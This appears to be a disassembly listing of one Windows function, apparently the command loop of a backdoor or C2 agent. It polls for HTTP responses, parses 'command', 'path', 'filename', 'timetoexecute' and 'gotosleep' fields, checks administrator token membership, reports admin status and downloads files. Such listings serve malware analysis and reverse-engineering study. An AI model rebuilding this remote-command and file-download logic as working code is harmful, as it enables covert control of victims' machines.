Function at 0x140010160
Capabilities:
Check http status code
Get token membership

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x600
mov rax, qword [0x140101940]
xor rax, rsp
mov qword [rsp + 0x5f0], rax
xor r15d, r15d
mov r12d, r15d
mov dword [rsp + 0x60], r15d
call fcn.140008750
call fcn.140006fb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xa8], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Script_started.
lea rcx, [rsp + 0x98]
call fcn.140004a90
nop
lea rcx, [rsp + 0x98]
call fcn.140008290
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14001022b
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010226
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400121e3
call fcn.1400987d0
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x90], rax
lea rsi, str.Failed_to_fetch_data._Status_code:
lea r14, [0x140000000]
nop dword [rax + rax]
movsxd rax, dword [0x1401025e0]
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x88]
call fcn.14001e4a0
call fcn.14002fae0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x438], xmm0
mov qword [rsp + 0x448], r15
mov qword [rsp + 0x450], 0xf
mov byte [rsp + 0x438], 0
mov byte [rsp + 0x458], 0
xor edx, edx
lea rcx, [rsp + 0x460]
call fcn.1400177d0
nop
mov r8, rbx
lea rcx, [rsp + 0xb8]
call fcn.1400057b0
mov rbx, rax
mov ecx, dword [rax]
mov dword [rsp + 0x430], ecx
lea rdx, [rax + 8]
lea rcx, [rsp + 0x438]
call fcn.140014d70
movups xmm0, xmmword [rbx + 0x28]
movups xmmword [rsp + 0x5d0], xmm0
mov byte [rbx + 0x28], 0
mov qword [rbx + 0x30], r15
movzx edx, byte [rsp + 0x458]
movd r13d, xmm0
mov byte [rsp + 0x458], r13b
mov byte [rsp + 0x5d0], dl
mov rax, qword [rsp + 0x460]
mov rdi, qword [rsp + 0x5d8]
mov qword [rsp + 0x460], rdi
mov qword [rsp + 0x5d8], rax
lea rcx, [rsp + 0x5d8]
call fcn.140019340
nop
movzx edx, byte [rsp + 0xe0]
lea rcx, [rsp + 0xe8]
call fcn.140019340
nop
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0xf
jbe 0x140010397
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010392
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400121e9
call fcn.1400987d0
mov r8d, dword [rsp + 0x430]
test r8d, r8d
je 0x14001214d
cmp r8d, 0xc8
jne 0x140011ef7
movzx eax, r13b
cmp eax, 9
ja case.0x1400103cd.0
mov ecx, dword [r14 + rax*4 + 0x124c8]
add rcx, r14
jmp rcx
mov rax, qword [rdi + 8]
sub rax, qword [rdi]
sar rax, 4
jmp 0x1400103e0
mov rax, qword [rdi + 8]
cmp rax, 5
jne case.0x1400103cd.0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], r15
mov r8d, 7
lea rdx, str.command
lea rcx, [rsp + 0x68]
call fcn.140004a90
lea rax, [rsp + 0x68]
mov qword [rsp + 0x5d0], rax
test r13b, r13b
jne 0x140010445
mov r13b, 1
mov byte [rsp + 0x458], r13b
call fcn.140022870
mov rdi, rax
mov qword [rsp + 0x460], rax
jmp 0x14001044f
cmp r13b, 1
jne 0x140012454
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x150]
mov rcx, rdi
call fcn.14002dd70
mov rbx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x1400104ac
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400104a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400121ef
call fcn.1400987d0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x478], xmm0
mov qword [rsp + 0x488], r15
mov qword [rsp + 0x490], 0xf
mov byte [rsp + 0x478], 0
bts r12d, 0xa
mov dword [rsp + 0x60], r12d
cmp byte [rbx + 0x40], 3
jne 0x1400121f5
mov rdx, qword [rbx + 0x48]
lea rax, [rsp + 0x478]
cmp rax, rdx
je 0x140010529
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x14001051c
mov rdx, qword [rdx]
lea rcx, [rsp + 0x478]
call fcn.1400179f0
btr r12d, 0xa
or r12d, 0x300
mov dword [rsp + 0x60], r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], r15
mov r8d, 4
lea rdx, str.path
lea rcx, [rsp + 0x68]
call fcn.140004a90
lea rax, [rsp + 0x68]
mov qword [rsp + 0x5d0], rax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x160]
mov rcx, rdi
call fcn.14002dd70
mov rbx, qword [rsp + 0x160]
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x1400105d0
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400105cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001224d
call fcn.1400987d0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x4e0], xmm0
mov qword [rsp + 0x4f0], r15
mov qword [rsp + 0x4f8], 0xf
mov byte [rsp + 0x4e0], 0
bts r12d, 0xd
mov dword [rsp + 0x60], r12d
cmp byte [rbx + 0x40], 3
jne 0x140012253
mov rdx, qword [rbx + 0x48]
lea rax, [rsp + 0x4e0]
cmp rax, rdx
je 0x14001064d
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140010640
mov rdx, qword [rdx]
lea rcx, [rsp + 0x4e0]
call fcn.1400179f0
btr r12d, 0xd
or r12d, 0x1800
mov dword [rsp + 0x60], r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], r15
mov r8d, 8
lea rdx, str.filename
lea rcx, [rsp + 0x68]
call fcn.140004a90
lea rax, [rsp + 0x68]
mov qword [rsp + 0x5d0], rax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x170]
mov rcx, rdi
call fcn.14002dd70
mov rbx, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x1400106f4
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400106ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400122ab
call fcn.1400987d0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x508], xmm0
mov qword [rsp + 0x518], r15
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x520], r14
mov byte [rsp + 0x508], 0
bts r12d, 0x10
mov dword [rsp + 0x60], r12d
cmp byte [rbx + 0x40], 3
jne 0x1400122b1
mov rdx, qword [rbx + 0x48]
lea rax, [rsp + 0x508]
cmp rax, rdx
je 0x14001077a
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], r14
jbe 0x140010765
mov rdx, qword [rdx]
lea rcx, [rsp + 0x508]
call fcn.1400179f0
mov r14, qword [rsp + 0x520]
btr r12d, 0x10
or r12d, 0xc000
mov dword [rsp + 0x60], r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], r15
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.timetoexecute
lea rcx, [rsp + 0x68]
call fcn.140004a90
lea rax, [rsp + 0x68]
mov qword [rsp + 0x5d0], rax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x180]
mov rcx, rdi
call fcn.14002dd70
mov rbx, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x140010821
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001081c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012309
call fcn.1400987d0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x4c0], xmm0
mov qword [rsp + 0x4d0], r15
mov qword [rsp + 0x4d8], 0xf
mov byte [rsp + 0x4c0], 0
bts r12d, 0x13
mov dword [rsp + 0x60], r12d
cmp byte [rbx + 0x40], 3
jne 0x14001230f
mov rdx, qword [rbx + 0x48]
lea rax, [rsp + 0x4c0]
cmp rax, rdx
je 0x14001089e
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140010891
mov rdx, qword [rdx]
lea rcx, [rsp + 0x4c0]
call fcn.1400179f0
btr r12d, 0x13
or r12d, 0x60000
mov dword [rsp + 0x60], r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], r15
mov r8d, 9
lea rdx, str.gotosleep
lea rcx, [rsp + 0x68]
call fcn.140004a90
lea rax, [rsp + 0x68]
mov qword [rsp + 0x5d0], rax
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x190]
mov rcx, rdi
call fcn.14002dd70
mov rbx, qword [rsp + 0x190]
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x140010945
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010940
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012367
call fcn.1400987d0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x4a0], xmm0
mov qword [rsp + 0x4b0], r15
mov qword [rsp + 0x4b8], 0xf
mov byte [rsp + 0x4a0], 0
bts r12d, 0x16
mov dword [rsp + 0x60], r12d
cmp byte [rbx + 0x40], 3
jne 0x14001236d
mov rdx, qword [rbx + 0x48]
lea rax, [rsp + 0x4a0]
cmp rax, rdx
je 0x1400109c2
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x1400109b5
mov rdx, qword [rdx]
lea rcx, [rsp + 0x4a0]
call fcn.1400179f0
btr r12d, 0x16
or r12d, 0x300000
mov dword [rsp + 0x60], r12d
lea rcx, [rsp + 0x478]
mov rdi, qword [rsp + 0x478]
mov rsi, qword [rsp + 0x490]
cmp rsi, 0xf
cmova rcx, rdi
mov rbx, qword [rsp + 0x488]
cmp rbx, 1
jne 0x140010ee2
mov r8, rbx
lea rdx, [0x1400ee4f4]
call fcn.1400c76a0
test eax, eax
jne 0x140010ee2
mov dword [rsp + 0x498], eax
mov word [rsp + 0x49c], 0x500
lea rax, [rsp + 0x468]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x498]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
lea r8, [rsp + 0x500]
mov rdx, qword [rsp + 0x468]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x468]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov r8d, listen
lea rdx, str.___isAdmin
lea rcx, [0x1401025e8]
call fcn.140014c60
lea rdx, [0x1400ee4f4]
cmp dword [rsp + 0x500], 0
lea rax, [0x1400ee4f8]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x528], xmm0
mov qword [rsp + 0x538], r15
mov qword [rsp + 0x540], r15
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140010af0
lea rcx, [rsp + 0x528]
call fcn.140004a90
nop
mov rdi, qword [rsp + 0x90]
mov rax, rdi
mov rcx, qword [rsp + 0x538]
sub rax, rcx
cmp rax, 0xe
jb 0x1400123c5
lea rax, [rsp + 0x528]
cmp qword [rsp + 0x540], 0xf
cmova rax, qword [rsp + 0x528]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], send
lea r9, str.Admin_status:
lea rcx, [rsp + 0x568]
call fcn.140025360
bts r12d, 0x18
mov dword [rsp + 0x60], r12d
lea rcx, [rsp + 0x568]
call fcn.140008290
nop
mov rdx, qword [rsp + 0x580]
cmp rdx, 0xf
jbe 0x140010bc4
inc rdx
mov rcx, qword [rsp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010bbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400123ca
call fcn.1400987d0
mov rax, rdi
mov rcx, qword [rsp + 0x538]
sub rax, rcx
cmp rax, 0xe
jb 0x1400123d0
lea rax, [rsp + 0x528]
cmp qword [rsp + 0x540], 0xf
cmova rax, qword [rsp + 0x528]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], send
lea r9, str.Admin_Status_:
lea rcx, [rsp + 0x568]
call fcn.140025360
bts r12d, 0x19
mov dword [rsp + 0x60], r12d
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140010c68
inc rdx
mov rcx, qword [0x1401025e8]
cmp rdx, 0x1000
jb 0x140010c63
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400123dc
mov rcx, r8
call fcn.1400987d0
movups xmm0, xmmword [rsp + 0x568]
movups xmmword [0x1401025e8], xmm0
movups xmm1, xmmword [rsp + 0x578]
movups xmmword [0x1401025f8], xmm1
call fcn.14000f170
nop
mov rdx, qword [rsp + 0x540]
cmp rdx, 0xf
jbe 0x140010cd0
inc rdx
mov rcx, qword [rsp + 0x528]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010cca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400123d6
call fcn.1400987d0
nop
mov rdx, qword [rsp + 0x4b8]
cmp rdx, 0xf
jbe 0x140010d13
inc rdx
mov rcx, qword [rsp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010d0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400123fb
call fcn.1400987d0
mov qword [rsp + 0x4b0], r15
mov qword [rsp + 0x4b8], 0xf
mov byte [rsp + 0x4a0], 0
mov rdx, qword [rsp + 0x4d8]
cmp rdx, 0xf
jbe 0x140010d72
inc rdx
mov rcx, qword [rsp + 0x4c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010d6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012401
call fcn.1400987d0
mov qword [rsp + 0x4d0], r15
mov qword [rsp + 0x4d8], 0xf
mov byte [rsp + 0x4c0], 0
cmp r14, 0xf
jbe 0x140010dcb
lea rdx, [r14 + 1]
mov rcx, qword [rsp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010dc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012407
call fcn.1400987d0
nop
mov rdx, qword [rsp + 0x4f8]
cmp rdx, 0xf
jbe 0x140010e0e
inc rdx
mov rcx, qword [rsp + 0x4e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010e09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001240d
call fcn.1400987d0
mov qword [rsp + 0x4f0], r15
mov qword [rsp + 0x4f8], 0xf
mov byte [rsp + 0x4e0], 0
mov rdx, qword [rsp + 0x490]
cmp rdx, 0xf
jbe 0x140010e6d
inc rdx
mov rcx, qword [rsp + 0x478]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010e68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012413
call fcn.1400987d0
mov qword [rsp + 0x488], r15
mov qword [rsp + 0x490], 0xf
mov byte [rsp + 0x478], 0
mov dl, 1
lea rcx, [rsp + 0x460]
call fcn.140019340
nop
mov rdx, qword [rsp + 0x450]
cmp rdx, 0xf
jbe 0x140010edd
inc rdx
mov rcx, qword [rsp + 0x438]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010ed7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400124af
call fcn.1400987d0
nop
jmp 0x14001023d
lea rcx, [rsp + 0x478]
cmp rsi, 0xf
cmova rcx, rdi
cmp rbx, 2
jne 0x140011137
mov r8, rbx
lea rdx, [0x1400ee520]
call fcn.1400c76a0
test eax, eax
jne 0x140011137
lea rdx, [0x140104c88]
call fcn.14000c510
call fcn.14000f170
nop
mov rdx, qword [rsp + 0x4b8]
cmp rdx, 0xf
jbe 0x140010f68
inc rdx
mov rcx, qword [rsp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010f63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400123fb
call fcn.1400987d0
mov qword [rsp + 0x4b0], r15
mov qword [rsp + 0x4b8], 0xf
mov byte [rsp + 0x4a0], 0
mov rdx, qword [rsp + 0x4d8]
cmp rdx, 0xf
jbe 0x140010fc7
inc rdx
mov rcx, qword [rsp + 0x4c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010fc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012401
call fcn.1400987d0
mov qword [rsp + 0x4d0], r15
mov qword [rsp + 0x4d8], 0xf
mov byte [rsp + 0x4c0], 0
cmp r14, 0xf
jbe 0x140011020
lea rdx, [r14 + 1]
mov rcx, qword [rsp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001101a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012407
call fcn.1400987d0
nop
mov rdx, qword [rsp + 0x4f8]
cmp rdx, 0xf
jbe 0x140011063
inc rdx
mov rcx, qword [rsp + 0x4e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001105e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001240d
call fcn.1400987d0
mov qword [rsp + 0x4f0], r15
mov qword [rsp + 0x4f8], 0xf
mov byte [rsp + 0x4e0], 0
mov rdx, qword [rsp + 0x490]
cmp rdx, 0xf
jbe 0x1400110c2
inc rdx
mov rcx, qword [rsp + 0x478]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400110bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012413
call fcn.1400987d0
mov qword [rsp + 0x488], r15
mov qword [rsp + 0x490], 0xf
mov byte [rsp + 0x478], 0
mov dl, 1
lea rcx, [rsp + 0x460]
call fcn.140019340
nop
mov rdx, qword [rsp + 0x450]
cmp rdx, 0xf
jbe 0x140011132
inc rdx
mov rcx, qword [rsp + 0x438]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001112c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400124af
call fcn.1400987d0
nop
jmp 0x14001023d
lea rcx, [rsp + 0x478]
cmp rsi, 0xf
cmova rcx, rdi
cmp rbx, 2
jne 0x14001138c
mov r8, rbx
lea rdx, [0x1400ee524]
call fcn.1400c76a0
test eax, eax
jne 0x14001138c
lea rdx, [rsp + 0x4e0]
call fcn.14000c510
call fcn.14000f170
nop
mov rdx, qword [rsp + 0x4b8]
cmp rdx, 0xf
jbe 0x1400111be
inc rdx
mov rcx, qword [rsp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400111b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400123fb
call fcn.1400987d0
mov qword [rsp + 0x4b0], r15
mov qword [rsp + 0x4b8], 0xf
mov byte [rsp + 0x4a0], 0
mov rdx, qword [rsp + 0x4d8]
cmp rdx, 0xf
jbe 0x14001121d
inc rdx
mov rcx, qword [rsp + 0x4c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011218
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012401
call fcn.1400987d0
mov qword [rsp + 0x4d0], r15
mov qword [rsp + 0x4d8], 0xf
mov byte [rsp + 0x4c0], 0
cmp r14, 0xf
jbe 0x140011276
lea rdx, [r14 + 1]
mov rcx, qword [rsp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011270
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012407
call fcn.1400987d0
nop
mov rdx, qword [rsp + 0x4f8]
cmp rdx, 0xf
jbe 0x1400112b9
inc rdx
mov rcx, qword [rsp + 0x4e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400112b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001240d
call fcn.1400987d0
mov qword [rsp + 0x4f0], r15
mov qword [rsp + 0x4f8], 0xf
mov byte [rsp + 0x4e0], 0
mov rdx, qword [rsp + 0x490]
cmp rdx, 0xf
jbe 0x140011318
inc rdx
mov rcx, qword [rsp + 0x478]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011313
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012413
call fcn.1400987d0
mov qword [rsp + 0x488], r15
mov qword [rsp + 0x490], 0xf
mov byte [rsp + 0x478], 0
mov dl, 1
lea rcx, [rsp + 0x460]
call fcn.140019340
nop
mov rdx, qword [rsp + 0x450]
cmp rdx, 0xf
jbe 0x140011387
inc rdx
mov rcx, qword [rsp + 0x438]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011382
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400124af
call fcn.1400987d0
jmp 0x140011132
lea rcx, [rsp + 0x478]
cmp rsi, 0xf
cmova rcx, rdi
cmp rbx, 3
jne 0x140011607
mov r8, rbx
lea rdx, [0x1400ee528]
call fcn.1400c76a0
test eax, eax
jne 0x140011607
call fcn.14000f170
call fcn.1400a7234
mov rdi, rax
lea rbx, [rsp + 0x4a0]
cmp qword [rsp + 0x4b8], 0xf
cmova rbx, qword [rsp + 0x4a0]
mov dword [rax], r15d
mov r8d, 0xa
lea rdx, [rsp + 0x470]
mov rcx, rbx
call fcn.1400a3c48
cmp rbx, qword [rsp + 0x470]
je 0x1400123e2
cmp dword [rdi], 0x22
je 0x1400123ee
cdqe
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x88]
call fcn.14001e4a0
nop
mov rdx, qword [rsp + 0x4b8]
cmp rdx, 0xf
jbe 0x14001146f
inc rdx
mov rcx, qword [rsp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001146a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400123fb
call fcn.1400987d0
mov qword [rsp + 0x4b0], r15
mov qword [rsp + 0x4b8], 0xf
mov byte [rsp + 0x4a0], 0
mov rdx, qword [rsp + 0x4d8]
cmp rdx, 0xf
jbe 0x1400114ce
inc rdx
mov rcx, qword [rsp + 0x4c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400114c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012401
call fcn.1400987d0
mov qword [rsp + 0x4d0], r15
mov qword [rsp + 0x4d8], 0xf
mov byte [rsp + 0x4c0], 0
cmp r14, 0xf
jbe 0x140011527
lea rdx, [r14 + 1]
mov rcx, qword [rsp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011521
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012407
call fcn.1400987d0
nop
mov rdx, qword [rsp + 0x4f8]
cmp rdx, 0xf
jbe 0x14001156a
inc rdx
mov rcx, qword [rsp + 0x4e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011565
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001240d
call fcn.1400987d0
mov qword [rsp + 0x4f0], r15
mov qword [rsp + 0x4f8], 0xf
mov byte [rsp + 0x4e0], 0
mov rdx, qword [rsp + 0x490]
cmp rdx, 0xf
jbe 0x1400115c9
inc rdx
mov rcx, qword [rsp + 0x478]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400115c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012413
call fcn.1400987d0
mov qword [rsp + 0x488], r15
mov qword [rsp + 0x490], 0xf
mov byte [rsp + 0x478], 0
mov dl, 1
lea rcx, [rsp + 0x460]
call fcn.140019340
nop
lea rcx, [rsp + 0x438]
call fcn.140014d10
jmp 0x140011132
lea rdx, [0x1400ee52c]
lea rcx, [rsp + 0x478]
call fcn.14001c680
test al, al
jne 0x14001166d
lea rdx, [0x1400ee530]
lea rcx, [rsp + 0x478]
call fcn.14001c680
test al, al
jne 0x14001166d
lea rcx, [rsp + 0x110]
call fcn.140006750
nop
or r12d, 1
mov dword [rsp + 0x60], r12d
lea r8, [rsp + 0x508]
mov rdx, rax
lea rcx, [rsp + 0x5d0]
call fcn.14001c530
nop
or r12d, 2
jmp 0x140011683
lea r8, [rsp + 0x508]
lea rcx, [rsp + 0x68]
call fcn.14001c3c0
or r12d, 4
mov dword [rsp + 0x60], r12d
mov rdx, rax
lea rcx, [rsp + 0x548]
call fcn.140014e00
nop
test r12b, 4
je 0x1400116b3
and r12d, 0xfffffffb
mov dword [rsp + 0x60], r12d
lea rcx, [rsp + 0x68]
call fcn.140014d10
nop
test r12b, 2
je 0x1400116d0
and r12d, 0xfffffffd
mov dword [rsp + 0x60], r12d
lea rcx, [rsp + 0x5d0]
call fcn.140014d10
nop
test r12b, 1
je 0x1400116ec
and r12d, 0xfffffffe
mov dword [rsp + 0x60], r12d
lea rcx, [rsp + 0x110]
call fcn.140014d10
lea rdx, [rsp + 0x548]
call fcn.14000d180
lea r8, [rsp + 0x548]
lea rdx, str.Downloaded_file:
lea rcx, [rsp + 0xb8]
call fcn.14001cb30
nop
mov rcx, rax
call fcn.140008290
nop
lea rcx, [rsp + 0xb8]
call fcn.140014d10
cmp qword [rsp + 0x4d0], 0
je 0x14001175b
lea rcx, [rsp + 0x4c0]
call fcn.140002500
cdqe
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x88]
call fcn.14001e4a0
lea rcx, [rsp + 0x590]
call fcn.140012670
xorps xmm1, xmm1
movups xmmword [rsp + 0x1a0], xmm1
mov qword [rsp + 0x1b0], r15
mov qword [rsp + 0x1b8], r15
mov r8d, 1
